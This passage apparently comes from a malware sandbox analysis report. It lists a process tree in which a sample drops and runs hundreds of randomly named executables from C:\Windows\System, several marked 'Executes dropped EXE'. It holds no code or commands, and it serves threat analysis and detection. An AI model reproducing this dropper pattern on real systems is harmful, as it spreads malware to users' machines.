  C:\Windows\System\YSHnqPE.exe
  2⤵
  - Executes dropped EXE
  PID:1008
- C:\Windows\System\jVlTghO.exe
  C:\Windows\System\jVlTghO.exe
  2⤵
  - Executes dropped EXE
  PID:1760
- C:\Windows\System\EwDQxiW.exe
  C:\Windows\System\EwDQxiW.exe
  2⤵
  - Executes dropped EXE
  PID:856
- C:\Windows\System\BljqXXm.exe
  C:\Windows\System\BljqXXm.exe
  2⤵
  - Executes dropped EXE
  PID:1676
- C:\Windows\System\jjMbmll.exe
  C:\Windows\System\jjMbmll.exe
  2⤵
  - Executes dropped EXE
  PID:1296
- C:\Windows\System\uwfmLvt.exe
  C:\Windows\System\uwfmLvt.exe
  2⤵
  - Executes dropped EXE
  PID:1640
- C:\Windows\System\OlByWao.exe
  C:\Windows\System\OlByWao.exe
  2⤵
  - Executes dropped EXE
  PID:1648
- C:\Windows\System\gJPykgy.exe
  C:\Windows\System\gJPykgy.exe
  2⤵
  - Executes dropped EXE
  PID:1908
- C:\Windows\System\eWUVtHF.exe
  C:\Windows\System\eWUVtHF.exe
  2⤵
  - Executes dropped EXE
  PID:1036
- C:\Windows\System\ZBrFFLX.exe
  C:\Windows\System\ZBrFFLX.exe
  2⤵
  - Executes dropped EXE
  PID:2060
- C:\Windows\System\MemjdcE.exe
  C:\Windows\System\MemjdcE.exe
  2⤵
  - Executes dropped EXE
  PID:2304
- C:\Windows\System\xTcGQPA.exe
  C:\Windows\System\xTcGQPA.exe
  2⤵
  - Executes dropped EXE
  PID:2080
- C:\Windows\System\pqQFrtb.exe
  C:\Windows\System\pqQFrtb.exe
  2⤵
  - Executes dropped EXE
  PID:400
- C:\Windows\System\rLKDBLj.exe
  C:\Windows\System\rLKDBLj.exe
  2⤵
  - Executes dropped EXE
  PID:1668
- C:\Windows\System\VdIZMqr.exe
  C:\Windows\System\VdIZMqr.exe
  2⤵
  - Executes dropped EXE
  PID:2528
- C:\Windows\System\KjQGHgL.exe
  C:\Windows\System\KjQGHgL.exe
  2⤵
  - Executes dropped EXE
  PID:2112
- C:\Windows\System\FGzxGmH.exe
  C:\Windows\System\FGzxGmH.exe
  2⤵
  - Executes dropped EXE
  PID:584
- C:\Windows\System\aiRdWSX.exe
  C:\Windows\System\aiRdWSX.exe
  2⤵
  - Executes dropped EXE
  PID:1672
- C:\Windows\System\wyhXOth.exe
  C:\Windows\System\wyhXOth.exe
  2⤵
  - Executes dropped EXE
  PID:1964
- C:\Windows\System\wYbMYrk.exe
  C:\Windows\System\wYbMYrk.exe
  2⤵
  - Executes dropped EXE
  PID:1972
- C:\Windows\System\RshqDzt.exe
  C:\Windows\System\RshqDzt.exe
  2⤵
  - Executes dropped EXE
  PID:1016
- C:\Windows\System\UdaLpMT.exe
  C:\Windows\System\UdaLpMT.exe
  2⤵
  - Executes dropped EXE
  PID:900
- C:\Windows\System\PeELPvl.exe
  C:\Windows\System\PeELPvl.exe
  2⤵
  - Executes dropped EXE
  PID:2032
- C:\Windows\System\AgmCGYI.exe
  C:\Windows\System\AgmCGYI.exe
  2⤵
  - Executes dropped EXE
  PID:2508
- C:\Windows\System\kbHdRPv.exe
  C:\Windows\System\kbHdRPv.exe
  2⤵
  - Executes dropped EXE
  PID:1496
- C:\Windows\System\HZsSeij.exe
  C:\Windows\System\HZsSeij.exe
  2⤵
  - Executes dropped EXE
  PID:2780
- C:\Windows\System\AIxhhcE.exe
  C:\Windows\System\AIxhhcE.exe
  2⤵
  - Executes dropped EXE
  PID:2808
- C:\Windows\System\OOADmSS.exe
  C:\Windows\System\OOADmSS.exe
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Windows\System\yjdQDJX.exe
  C:\Windows\System\yjdQDJX.exe
  2⤵
  - Executes dropped EXE
  PID:372
- C:\Windows\System\VSozQAx.exe
  C:\Windows\System\VSozQAx.exe
  2⤵
  - Executes dropped EXE
  PID:2580
- C:\Windows\System\HqFAPVg.exe
  C:\Windows\System\HqFAPVg.exe
  2⤵
  - Executes dropped EXE
  PID:3004
- C:\Windows\System\PHfxSkK.exe
  C:\Windows\System\PHfxSkK.exe
  2⤵
  - Executes dropped EXE
  PID:2928
- C:\Windows\System\slrkCRV.exe
  C:\Windows\System\slrkCRV.exe
  2⤵
  - Executes dropped EXE
  PID:2860
- C:\Windows\System\GEvCJBo.exe
  C:\Windows\System\GEvCJBo.exe
  2⤵
  - Executes dropped EXE
  PID:932
- C:\Windows\System\lasGytw.exe
  C:\Windows\System\lasGytw.exe
  2⤵
  - Executes dropped EXE
  PID:2652
- C:\Windows\System\MBnNVFQ.exe
  C:\Windows\System\MBnNVFQ.exe
  2⤵
  - Executes dropped EXE
  PID:1960
- C:\Windows\System\MUBBsZX.exe
  C:\Windows\System\MUBBsZX.exe
  2⤵
  PID:2108
- C:\Windows\System\mCZGgrx.exe
  C:\Windows\System\mCZGgrx.exe
  2⤵
  PID:1472
- C:\Windows\System\mkoKQUC.exe
  C:\Windows\System\mkoKQUC.exe
  2⤵
  PID:2828
- C:\Windows\System\AvNjSgH.exe
  C:\Windows\System\AvNjSgH.exe
  2⤵
  PID:1880
- C:\Windows\System\oHYLDEi.exe
  C:\Windows\System\oHYLDEi.exe
  2⤵
  PID:320
- C:\Windows\System\IiMaBUf.exe
  C:\Windows\System\IiMaBUf.exe
  2⤵
  PID:2380
- C:\Windows\System\fTMcCdh.exe
  C:\Windows\System\fTMcCdh.exe
  2⤵
  PID:2156
- C:\Windows\System\vqUDhtn.exe
  C:\Windows\System\vqUDhtn.exe
  2⤵
  PID:1872
- C:\Windows\System\GePfXGU.exe
  C:\Windows\System\GePfXGU.exe
  2⤵
  PID:684
- C:\Windows\System\WChMkOT.exe
  C:\Windows\System\WChMkOT.exe
  2⤵
  PID:1560
- C:\Windows\System\dhJDrLK.exe
  C:\Windows\System\dhJDrLK.exe
  2⤵
  PID:2208
- C:\Windows\System\JqoOFJU.exe
  C:\Windows\System\JqoOFJU.exe
  2⤵
  PID:2160
- C:\Windows\System\dioIFTS.exe
  C:\Windows\System\dioIFTS.exe
  2⤵
  PID:1628
- C:\Windows\System\traQjKD.exe
  C:\Windows\System\traQjKD.exe
  2⤵
  PID:896
- C:\Windows\System\nthAsQq.exe
  C:\Windows\System\nthAsQq.exe
  2⤵
  PID:776
- C:\Windows\System\cxJgyRh.exe
  C:\Windows\System\cxJgyRh.exe
  2⤵
  PID:1936
- C:\Windows\System\LayeqdN.exe
  C:\Windows\System\LayeqdN.exe
  2⤵
  PID:1516
- C:\Windows\System\pdiaKcG.exe
  C:\Windows\System\pdiaKcG.exe
  2⤵
  PID:2692
- C:\Windows\System\FIOenXf.exe
  C:\Windows\System\FIOenXf.exe
  2⤵
  PID:2360
- C:\Windows\System\WmJutjj.exe
  C:\Windows\System\WmJutjj.exe
  2⤵
  PID:2956
- C:\Windows\System\fIskKJL.exe
  C:\Windows\System\fIskKJL.exe
  2⤵
  PID:2744
- C:\Windows\System\UZOpFlt.exe
  C:\Windows\System\UZOpFlt.exe
  2⤵
  PID:2472
- C:\Windows\System\JDsfeto.exe
  C:\Windows\System\JDsfeto.exe
  2⤵
  PID:1704
- C:\Windows\System\MvWvqkk.exe
  C:\Windows\System\MvWvqkk.exe
  2⤵
  PID:1728
- C:\Windows\System\TYuZzxh.exe
  C:\Windows\System\TYuZzxh.exe
  2⤵
  PID:2968
- C:\Windows\System\qrzPJHv.exe
  C:\Windows\System\qrzPJHv.exe
  2⤵
  PID:2096
- C:\Windows\System\bRSxsKZ.exe
  C:\Windows\System\bRSxsKZ.exe
  2⤵
  PID:1996
- C:\Windows\System\KuuHMkE.exe
  C:\Windows\System\KuuHMkE.exe
  2⤵
  PID:2812
- C:\Windows\System\VQduGeT.exe
  C:\Windows\System\VQduGeT.exe
  2⤵
  PID:2584
- C:\Windows\System\TzSSvWi.exe
  C:\Windows\System\TzSSvWi.exe
  2⤵
  PID:2644
- C:\Windows\System\tlsZZdP.exe
  C:\Windows\System\tlsZZdP.exe
  2⤵
  PID:3068
- C:\Windows\System\EGXyDpg.exe
  C:\Windows\System\EGXyDpg.exe
  2⤵
  PID:1944
- C:\Windows\System\IHYxpeh.exe
  C:\Windows\System\IHYxpeh.exe
  2⤵
  PID:2008
- C:\Windows\System\FxdMuFg.exe
  C:\Windows\System\FxdMuFg.exe
  2⤵
  PID:2252
- C:\Windows\System\PEJdjkf.exe
  C:\Windows\System\PEJdjkf.exe
  2⤵
  PID:1032
- C:\Windows\System\oFVGNOk.exe
  C:\Windows\System\oFVGNOk.exe
  2⤵
  PID:2864
- C:\Windows\System\jgTjlgK.exe
  C:\Windows\System\jgTjlgK.exe
  2⤵
  PID:772
- C:\Windows\System\zjPUOyo.exe
  C:\Windows\System\zjPUOyo.exe
  2⤵
  PID:596
- C:\Windows\System\wbfdnnG.exe
  C:\Windows\System\wbfdnnG.exe
  2⤵
  PID:600
- C:\Windows\System\ZkLlITH.exe
  C:\Windows\System\ZkLlITH.exe
  2⤵
  PID:848
- C:\Windows\System\cjkJPuo.exe
  C:\Windows\System\cjkJPuo.exe
  2⤵
  PID:2892
- C:\Windows\System\rvxtYbQ.exe
  C:\Windows\System\rvxtYbQ.exe
  2⤵
  PID:1592
- C:\Windows\System\DRYbiMD.exe
  C:\Windows\System\DRYbiMD.exe
  2⤵
  PID:2916
- C:\Windows\System\HpBqJvx.exe
  C:\Windows\System\HpBqJvx.exe
  2⤵
  PID:1904
- C:\Windows\System\PgltWOp.exe
  C:\Windows\System\PgltWOp.exe
  2⤵
  PID:2232
- C:\Windows\System\GZHBgVI.exe
  C:\Windows\System\GZHBgVI.exe
  2⤵
  PID:2412
- C:\Windows\System\xmshGdd.exe
  C:\Windows\System\xmshGdd.exe
  2⤵
  PID:2432
- C:\Windows\System\HwtgrNm.exe
  C:\Windows\System\HwtgrNm.exe
  2⤵
  PID:2204
- C:\Windows\System\ricDquz.exe
  C:\Windows\System\ricDquz.exe
  2⤵
  PID:2192
- C:\Windows\System\SQZBVku.exe
  C:\Windows\System\SQZBVku.exe
  2⤵
  PID:1608
- C:\Windows\System\qVbiVKS.exe
  C:\Windows\System\qVbiVKS.exe
  2⤵
  PID:1408
- C:\Windows\System\SDFyxKZ.exe
  C:\Windows\System\SDFyxKZ.exe
  2⤵
  PID:2684
- C:\Windows\System\ACOJCqb.exe
  C:\Windows\System\ACOJCqb.exe
  2⤵
  PID:272
- C:\Windows\System\uFoMOzC.exe
  C:\Windows\System\uFoMOzC.exe
  2⤵
  PID:1528
- C:\Windows\System\WvWrSRZ.exe
  C:\Windows\System\WvWrSRZ.exe
  2⤵
  PID:2868
- C:\Windows\System\BNVFMRB.exe
  C:\Windows\System\BNVFMRB.exe
  2⤵
  PID:1956
- C:\Windows\System\nwEsgZO.exe
  C:\Windows\System\nwEsgZO.exe
  2⤵
  PID:2468
- C:\Windows\System\FhiVSTX.exe
  C:\Windows\System\FhiVSTX.exe
  2⤵
  PID:2716
- C:\Windows\System\yiUGQCp.exe
  C:\Windows\System\yiUGQCp.exe
  2⤵
  PID:2740
- C:\Windows\System\eHEchXy.exe
  C:\Windows\System\eHEchXy.exe
  2⤵
  PID:1624
- C:\Windows\System\xGOscve.exe
  C:\Windows\System\xGOscve.exe
  2⤵
  PID:3080
- C:\Windows\System\DWeTTvQ.exe
  C:\Windows\System\DWeTTvQ.exe
  2⤵
  PID:3096
- C:\Windows\System\uImbaXS.exe
  C:\Windows\System\uImbaXS.exe
  2⤵
  PID:3112
- C:\Windows\System\VDtMUxB.exe
  C:\Windows\System\VDtMUxB.exe
  2⤵
  PID:3132
- C:\Windows\System\wOFOokM.exe
  C:\Windows\System\wOFOokM.exe
  2⤵
  PID:3152
- C:\Windows\System\GRdmMYi.exe
  C:\Windows\System\GRdmMYi.exe
  2⤵
  PID:3168
- C:\Windows\System\vFRFrdz.exe
  C:\Windows\System\vFRFrdz.exe
  2⤵
  PID:3184
- C:\Windows\System\TjPunFG.exe
  C:\Windows\System\TjPunFG.exe
  2⤵
  PID:3212
- C:\Windows\System\gZWbrav.exe
  C:\Windows\System\gZWbrav.exe
  2⤵
  PID:3228
- C:\Windows\System\aCpdeZl.exe
  C:\Windows\System\aCpdeZl.exe
  2⤵
  PID:3244
- C:\Windows\System\BLHUigC.exe
  C:\Windows\System\BLHUigC.exe
  2⤵
  PID:3260
- C:\Windows\System\zehLbRA.exe
  C:\Windows\System\zehLbRA.exe
  2⤵
  PID:3276
- C:\Windows\System\XroNaIt.exe
  C:\Windows\System\XroNaIt.exe
  2⤵
  PID:3292
- C:\Windows\System\tDGNjbx.exe
  C:\Windows\System\tDGNjbx.exe
  2⤵
  PID:3308
- C:\Windows\System\CNMcthm.exe
  C:\Windows\System\CNMcthm.exe
  2⤵
  PID:3324
- C:\Windows\System\UvTWehp.exe
  C:\Windows\System\UvTWehp.exe
  2⤵
  PID:3340
- C:\Windows\System\fvPZDKG.exe
  C:\Windows\System\fvPZDKG.exe
  2⤵
  PID:3356
- C:\Windows\System\edzOTZP.exe
  C:\Windows\System\edzOTZP.exe
  2⤵
  PID:3372
- C:\Windows\System\IzoKNaH.exe
  C:\Windows\System\IzoKNaH.exe
  2⤵
  PID:3388
- C:\Windows\System\JOeEVYn.exe
  C:\Windows\System\JOeEVYn.exe
  2⤵
  PID:3404
- C:\Windows\System\hNhHFrw.exe
  C:\Windows\System\hNhHFrw.exe
  2⤵
  PID:3420
- C:\Windows\System\YmbFovo.exe
  C:\Windows\System\YmbFovo.exe
  2⤵
  PID:3436
- C:\Windows\System\EZfvaZm.exe
  C:\Windows\System\EZfvaZm.exe
  2⤵
  PID:3452
- C:\Windows\System\ECxaQQR.exe
  C:\Windows\System\ECxaQQR.exe
  2⤵
  PID:3468
- C:\Windows\System\lzOOzhD.exe
  C:\Windows\System\lzOOzhD.exe
  2⤵
  PID:3492
- C:\Windows\System\uTdLiVR.exe
  C:\Windows\System\uTdLiVR.exe
  2⤵
  PID:3508
- C:\Windows\System\xyUrmTL.exe
  C:\Windows\System\xyUrmTL.exe
  2⤵
  PID:3524
- C:\Windows\System\MNBNCaR.exe
  C:\Windows\System\MNBNCaR.exe
  2⤵
  PID:3540
- C:\Windows\System\BvITGhj.exe
  C:\Windows\System\BvITGhj.exe
  2⤵
  PID:3556
- C:\Windows\System\qjQAnch.exe
  C:\Windows\System\qjQAnch.exe
  2⤵
  PID:3572
- C:\Windows\System\oszDIAS.exe
  C:\Windows\System\oszDIAS.exe
  2⤵
  PID:3588
- C:\Windows\System\TeFwJzH.exe
  C:\Windows\System\TeFwJzH.exe
  2⤵
  PID:3608
- C:\Windows\System\mXuvpki.exe
  C:\Windows\System\mXuvpki.exe
  2⤵
  PID:3632
- C:\Windows\System\CYHYvYV.exe
  C:\Windows\System\CYHYvYV.exe
  2⤵
  PID:3648
- C:\Windows\System\uJyXmii.exe
  C:\Windows\System\uJyXmii.exe
  2⤵
  PID:3672
- C:\Windows\System\MUkfSNB.exe
  C:\Windows\System\MUkfSNB.exe
  2⤵
  PID:3688
- C:\Windows\System\wOpmtos.exe
  C:\Windows\System\wOpmtos.exe
  2⤵
  PID:3704
- C:\Windows\System\BKJZQtP.exe
  C:\Windows\System\BKJZQtP.exe
  2⤵
  PID:3720
- C:\Windows\System\uPXYcpm.exe
  C:\Windows\System\uPXYcpm.exe
  2⤵
  PID:3736
- C:\Windows\System\imURcdo.exe
  C:\Windows\System\imURcdo.exe
  2⤵
  PID:3752
- C:\Windows\System\OCFuVsP.exe
  C:\Windows\System\OCFuVsP.exe
  2⤵
  PID:3768
- C:\Windows\System\BEcUgOb.exe
  C:\Windows\System\BEcUgOb.exe
  2⤵
  PID:3784
- C:\Windows\System\cXdzFVS.exe
  C:\Windows\System\cXdzFVS.exe
  2⤵
  PID:3800
- C:\Windows\System\uiFFwSq.exe
  C:\Windows\System\uiFFwSq.exe
  2⤵
  PID:3816
- C:\Windows\System\eoAwBUf.exe
  C:\Windows\System\eoAwBUf.exe
  2⤵
  PID:3832
- C:\Windows\System\BsGEvhh.exe
  C:\Windows\System\BsGEvhh.exe
  2⤵
  PID:3848
- C:\Windows\System\mxjfPcr.exe
  C:\Windows\System\mxjfPcr.exe
  2⤵
  PID:3864
- C:\Windows\System\faqkQfE.exe
  C:\Windows\System\faqkQfE.exe
  2⤵
  PID:3880
- C:\Windows\System\hfufIEy.exe
  C:\Windows\System\hfufIEy.exe
  2⤵
  PID:3896
- C:\Windows\System\AXCKubX.exe
  C:\Windows\System\AXCKubX.exe
  2⤵
  PID:4032
- C:\Windows\System\EizDUyc.exe
  C:\Windows\System\EizDUyc.exe
  2⤵
  PID:4048
- C:\Windows\System\TFhKclA.exe
  C:\Windows\System\TFhKclA.exe
  2⤵
  PID:4064
- C:\Windows\System\EqXLVOQ.exe
  C:\Windows\System\EqXLVOQ.exe
  2⤵
  PID:4084
- C:\Windows\System\SLnZpie.exe
  C:\Windows\System\SLnZpie.exe
  2⤵
  PID:1196
- C:\Windows\System\WFhktbr.exe
  C:\Windows\System\WFhktbr.exe
  2⤵
  PID:1280
- C:\Windows\System\zoYmwNQ.exe
  C:\Windows\System\zoYmwNQ.exe
  2⤵
  PID:3044
- C:\Windows\System\FOAeCzD.exe
  C:\Windows\System\FOAeCzD.exe
  2⤵
  PID:2220
- C:\Windows\System\pPHazNP.exe
  C:\Windows\System\pPHazNP.exe
  2⤵
  PID:1892
- C:\Windows\System\kiEddPf.exe
  C:\Windows\System\kiEddPf.exe
  2⤵
  PID:3088
- C:\Windows\System\uJVMhag.exe
  C:\Windows\System\uJVMhag.exe
  2⤵
  PID:2216
- C:\Windows\System\PHcnKyg.exe
  C:\Windows\System\PHcnKyg.exe
  2⤵
  PID:2888
- C:\Windows\System\bNFQztt.exe
  C:\Windows\System\bNFQztt.exe
  2⤵
  PID:484
- C:\Windows\System\RGtHPZv.exe
  C:\Windows\System\RGtHPZv.exe
  2⤵
  PID:3208
- C:\Windows\System\kXZWEqt.exe
  C:\Windows\System\kXZWEqt.exe
  2⤵
  PID:3272
- C:\Windows\System\Pvwescf.exe
  C:\Windows\System\Pvwescf.exe
  2⤵
  PID:3336
- C:\Windows\System\MeJTpFp.exe
  C:\Windows\System\MeJTpFp.exe
  2⤵
  PID:3400
- C:\Windows\System\rFsYHmi.exe
  C:\Windows\System\rFsYHmi.exe
  2⤵
  PID:1984
- C:\Windows\System\ENiIvHT.exe
  C:\Windows\System\ENiIvHT.exe
  2⤵
  PID:3460
- C:\Windows\System\sGGoRhM.exe
  C:\Windows\System\sGGoRhM.exe
  2⤵
  PID:3504
- C:\Windows\System\aIObkDM.exe
  C:\Windows\System\aIObkDM.exe
  2⤵
  PID:3596
- C:\Windows\System\mnZmdVM.exe
  C:\Windows\System\mnZmdVM.exe
  2⤵
  PID:3680
- C:\Windows\System\xmSdGeu.exe
  C:\Windows\System\xmSdGeu.exe
  2⤵
  PID:2376
- C:\Windows\System\tUmJqLJ.exe
  C:\Windows\System\tUmJqLJ.exe
  2⤵
  PID:3776
- C:\Windows\System\XouUkgu.exe
  C:\Windows\System\XouUkgu.exe
  2⤵
  PID:3840
- C:\Windows\System\uWbsHTZ.exe
  C:\Windows\System\uWbsHTZ.exe
  2⤵
  PID:3904
- C:\Windows\System\FWozILl.exe
  C:\Windows\System\FWozILl.exe
  2⤵
  PID:3920
- C:\Windows\System\jSuzeWj.exe
  C:\Windows\System\jSuzeWj.exe
  2⤵
  PID:3988
- C:\Windows\System\BESKFuS.exe
  C:\Windows\System\BESKFuS.exe
  2⤵
  PID:2256
- C:\Windows\System\ACBvhHH.exe
  C:\Windows\System\ACBvhHH.exe
  2⤵
  PID:4012
- C:\Windows\System\ZcSzotE.exe
  C:\Windows\System\ZcSzotE.exe
  2⤵
  PID:3108
- C:\Windows\System\OgwjfEN.exe
  C:\Windows\System\OgwjfEN.exe
  2⤵
  PID:560
- C:\Windows\System\DKsUQQF.exe
  C:\Windows\System\DKsUQQF.exe
  2⤵
  PID:3076
- C:\Windows\System\znGoMZz.exe
  C:\Windows\System\znGoMZz.exe
  2⤵
  PID:2952
- C:\Windows\System\IrNomFy.exe
  C:\Windows\System\IrNomFy.exe
  2⤵
  PID:4092
- C:\Windows\System\lrdTZhq.exe
  C:\Windows\System\lrdTZhq.exe
  2⤵
  PID:3548
- C:\Windows\System\UnOJxBh.exe
  C:\Windows\System\UnOJxBh.exe
  2⤵
  PID:3620
- C:\Windows\System\gDGBQFZ.exe
  C:\Windows\System\gDGBQFZ.exe
  2⤵
  PID:3660
- C:\Windows\System\tloKRtO.exe
  C:\Windows\System\tloKRtO.exe
  2⤵
  PID:3700
- C:\Windows\System\xjDOHsv.exe
  C:\Windows\System\xjDOHsv.exe
  2⤵
  PID:3764
- C:\Windows\System\wuJRwBv.exe
  C:\Windows\System\wuJRwBv.exe
  2⤵
  PID:3120
- C:\Windows\System\gbPCvhF.exe
  C:\Windows\System\gbPCvhF.exe
  2⤵
  PID:2656
- C:\Windows\System\pjxKFXj.exe
  C:\Windows\System\pjxKFXj.exe
  2⤵
  PID:3240
- C:\Windows\System\ryxBPbk.exe
  C:\Windows\System\ryxBPbk.exe
  2⤵
  PID:2416
- C:\Windows\System\KPKODbj.exe
  C:\Windows\System\KPKODbj.exe
  2⤵
  PID:3716
- C:\Windows\System\utDOsNr.exe
  C:\Windows\System\utDOsNr.exe
  2⤵
  PID:3828
- C:\Windows\System\SBQQXiI.exe
  C:\Windows\System\SBQQXiI.exe
  2⤵
  PID:3912
- C:\Windows\System\gaRZDgS.exe
  C:\Windows\System\gaRZDgS.exe
  2⤵
  PID:2424
- C:\Windows\System\kXQzsiV.exe
  C:\Windows\System\kXQzsiV.exe
  2⤵
  PID:3888
- C:\Windows\System\vnUgLPz.exe
  C:\Windows\System\vnUgLPz.exe
  2⤵
  PID:2932
- C:\Windows\System\lLviUVi.exe
  C:\Windows\System\lLviUVi.exe
  2⤵
  PID:2676
- C:\Windows\System\LbxLHHV.exe
  C:\Windows\System\LbxLHHV.exe
  2⤵
  PID:1284
- C:\Windows\System\WLsXZXb.exe
  C:\Windows\System\WLsXZXb.exe
  2⤵
  PID:4056
- C:\Windows\System\pLrWEEx.exe
  C:\Windows\System\pLrWEEx.exe
  2⤵
  PID:3616
- C:\Windows\System\YDWjLgK.exe
  C:\Windows\System\YDWjLgK.exe
  2⤵
  PID:4100
- C:\Windows\System\idYyDrE.exe
  C:\Windows\System\idYyDrE.exe
  2⤵
  PID:4120
- C:\Windows\System\yANHrzh.exe
  C:\Windows\System\yANHrzh.exe
  2⤵
  PID:4136
- C:\Windows\System\flKdFJU.exe
  C:\Windows\System\flKdFJU.exe
  2⤵
  PID:4152
- C:\Windows\System\ElBOmLu.exe
  C:\Windows\System\ElBOmLu.exe
  2⤵
  PID:4168
- C:\Windows\System\UPrAzak.exe
  C:\Windows\System\UPrAzak.exe
  2⤵
  PID:4184
- C:\Windows\System\MOIQMOT.exe
  C:\Windows\System\MOIQMOT.exe
  2⤵
  PID:4212
- C:\Windows\System\LzDUnCo.exe
  C:\Windows\System\LzDUnCo.exe
  2⤵
  PID:4228
- C:\Windows\System\CpPvJHy.exe
  C:\Windows\System\CpPvJHy.exe
  2⤵
  PID:4244
- C:\Windows\System\xikiWRX.exe
  C:\Windows\System\xikiWRX.exe
  2⤵
  PID:4260
- C:\Windows\System\WvOCFnE.exe
  C:\Windows\System\WvOCFnE.exe
  2⤵
  PID:4276
- C:\Windows\System\fDuRLvN.exe
  C:\Windows\System\fDuRLvN.exe
  2⤵
  PID:4292
- C:\Windows\System\gbnKZIT.exe
  C:\Windows\System\gbnKZIT.exe
  2⤵
  PID:4348
- C:\Windows\System\ctHvaXa.exe
  C:\Windows\System\ctHvaXa.exe
  2⤵
  PID:4440
- C:\Windows\System\uLbykAF.exe
  C:\Windows\System\uLbykAF.exe
  2⤵
  PID:4460
- C:\Windows\System\WNRPBbM.exe
  C:\Windows\System\WNRPBbM.exe
  2⤵
  PID:4476
- C:\Windows\System\EtPKBAm.exe
  C:\Windows\System\EtPKBAm.exe
  2⤵
  PID:4496
- C:\Windows\System\ryoxWzP.exe
  C:\Windows\System\ryoxWzP.exe
  2⤵
  PID:4516
- C:\Windows\System\KknwFIq.exe
  C:\Windows\System\KknwFIq.exe
  2⤵
  PID:4532
- C:\Windows\System\wfWXleA.exe
  C:\Windows\System\wfWXleA.exe
  2⤵
  PID:4548
- C:\Windows\System\PGuVmCg.exe
  C:\Windows\System\PGuVmCg.exe
  2⤵
  PID:4568
- C:\Windows\System\KskDhXY.exe
  C:\Windows\System\KskDhXY.exe
  2⤵
  PID:4584
- C:\Windows\System\mWetoVI.exe
  C:\Windows\System\mWetoVI.exe
  2⤵
  PID:4600
- C:\Windows\System\qWjkSoU.exe
  C:\Windows\System\qWjkSoU.exe
  2⤵
  PID:4616
- C:\Windows\System\dheNRxt.exe
  C:\Windows\System\dheNRxt.exe
  2⤵
  PID:4636
- C:\Windows\System\esMQAkd.exe
  C:\Windows\System\esMQAkd.exe
  2⤵
  PID:4652
- C:\Windows\System\vMInRXp.exe
  C:\Windows\System\vMInRXp.exe
  2⤵
  PID:4668
- C:\Windows\System\KdqxWBl.exe
  C:\Windows\System\KdqxWBl.exe
  2⤵
  PID:4684
- C:\Windows\System\DoUykDE.exe
  C:\Windows\System\DoUykDE.exe
  2⤵
  PID:4700
- C:\Windows\System\yhytbGS.exe
  C:\Windows\System\yhytbGS.exe
  2⤵
  PID:4716
- C:\Windows\System\YwaCqpR.exe
  C:\Windows\System\YwaCqpR.exe
  2⤵
  PID:4732
- C:\Windows\System\uhaYXYx.exe
  C:\Windows\System\uhaYXYx.exe
  2⤵
  PID:4748
- C:\Windows\System\rUYTGTZ.exe
  C:\Windows\System\rUYTGTZ.exe
  2⤵
  PID:4764
- C:\Windows\System\IzJFMDC.exe
  C:\Windows\System\IzJFMDC.exe
  2⤵
  PID:4780
- C:\Windows\System\sdaDUft.exe
  C:\Windows\System\sdaDUft.exe
  2⤵
  PID:4796
- C:\Windows\System\eYjPZXC.exe
  C:\Windows\System\eYjPZXC.exe
  2⤵
  PID:4812
- C:\Windows\System\sjtaIrD.exe
  C:\Windows\System\sjtaIrD.exe
  2⤵
  PID:4832
- C:\Windows\System\NlwMgRz.exe
  C:\Windows\System\NlwMgRz.exe
  2⤵
  PID:4848
- C:\Windows\System\GWICKoX.exe
  C:\Windows\System\GWICKoX.exe
  2⤵
  PID:4864
- C:\Windows\System\PgoHUHz.exe
  C:\Windows\System\PgoHUHz.exe
  2⤵
  PID:4880
- C:\Windows\System\qqtrDuB.exe
  C:\Windows\System\qqtrDuB.exe
  2⤵
  PID:4896
- C:\Windows\System\mZYUGMV.exe
  C:\Windows\System\mZYUGMV.exe
  2⤵
  PID:4920
- C:\Windows\System\GpuOukR.exe
  C:\Windows\System\GpuOukR.exe
  2⤵
  PID:4936
- C:\Windows\System\BKRavJl.exe
  C:\Windows\System\BKRavJl.exe
  2⤵
  PID:4980
- C:\Windows\System\EFGPCuk.exe
  C:\Windows\System\EFGPCuk.exe
  2⤵
  PID:4996
- C:\Windows\System\szMLeYZ.exe
  C:\Windows\System\szMLeYZ.exe
  2⤵
  PID:5012
- C:\Windows\System\lOzMRqj.exe
  C:\Windows\System\lOzMRqj.exe
  2⤵
  PID:5028
- C:\Windows\System\xKeBZcA.exe
  C:\Windows\System\xKeBZcA.exe
  2⤵
  PID:5044
- C:\Windows\System\RLnWyCU.exe
  C:\Windows\System\RLnWyCU.exe
  2⤵
  PID:5064
- C:\Windows\System\dgiAWxP.exe
  C:\Windows\System\dgiAWxP.exe
  2⤵
  PID:5084
- C:\Windows\System\hJtDmaj.exe
  C:\Windows\System\hJtDmaj.exe
  2⤵
  PID:5104
- C:\Windows\System\ajHqiAd.exe
  C:\Windows\System\ajHqiAd.exe
  2⤵
  PID:1932
- C:\Windows\System\fyEHDzQ.exe
  C:\Windows\System\fyEHDzQ.exe
  2⤵
  PID:3568
- C:\Windows\System\TeHWkwb.exe
  C:\Windows\System\TeHWkwb.exe
  2⤵
  PID:3860
- C:\Windows\System\fcSeXAe.exe
  C:\Windows\System\fcSeXAe.exe
  2⤵
  PID:2364
- C:\Windows\System\NixfmpF.exe
  C:\Windows\System\NixfmpF.exe
  2⤵
  PID:4132
- C:\Windows\System\NHTYWWo.exe
  C:\Windows\System\NHTYWWo.exe
  2⤵
  PID:4160
- C:\Windows\System\giWZcHh.exe
  C:\Windows\System\giWZcHh.exe
  2⤵
  PID:4204
- C:\Windows\System\RtJgytk.exe
  C:\Windows\System\RtJgytk.exe
  2⤵
  PID:2248
- C:\Windows\System\SIakOhz.exe
  C:\Windows\System\SIakOhz.exe
  2⤵
  PID:3316
- C:\Windows\System\rqFTFrU.exe
  C:\Windows\System\rqFTFrU.exe
  2⤵
  PID:3380
- C:\Windows\System\xrCUdaI.exe
  C:\Windows\System\xrCUdaI.exe
  2⤵
  PID:3444
- C:\Windows\System\pWMvNxD.exe
  C:\Windows\System\pWMvNxD.exe
  2⤵
  PID:3488
- C:\Windows\System\ukyBDth.exe
  C:\Windows\System\ukyBDth.exe
  2⤵
  PID:2840
- C:\Windows\System\ZWESUYK.exe
  C:\Windows\System\ZWESUYK.exe
  2⤵
  PID:4076
- C:\Windows\System\XFdkhEG.exe
  C:\Windows\System\XFdkhEG.exe
  2⤵
  PID:1864
- C:\Windows\System\tGCtLol.exe
  C:\Windows\System\tGCtLol.exe
  2⤵
  PID:3128
- C:\Windows\System\UKUWiFU.exe
  C:\Windows\System\UKUWiFU.exe
  2⤵
  PID:3432
- C:\Windows\System\UIzecTh.exe
  C:\Windows\System\UIzecTh.exe
  2⤵
  PID:3604
- C:\Windows\System\wwPbvls.exe
  C:\Windows\System\wwPbvls.exe
  2⤵
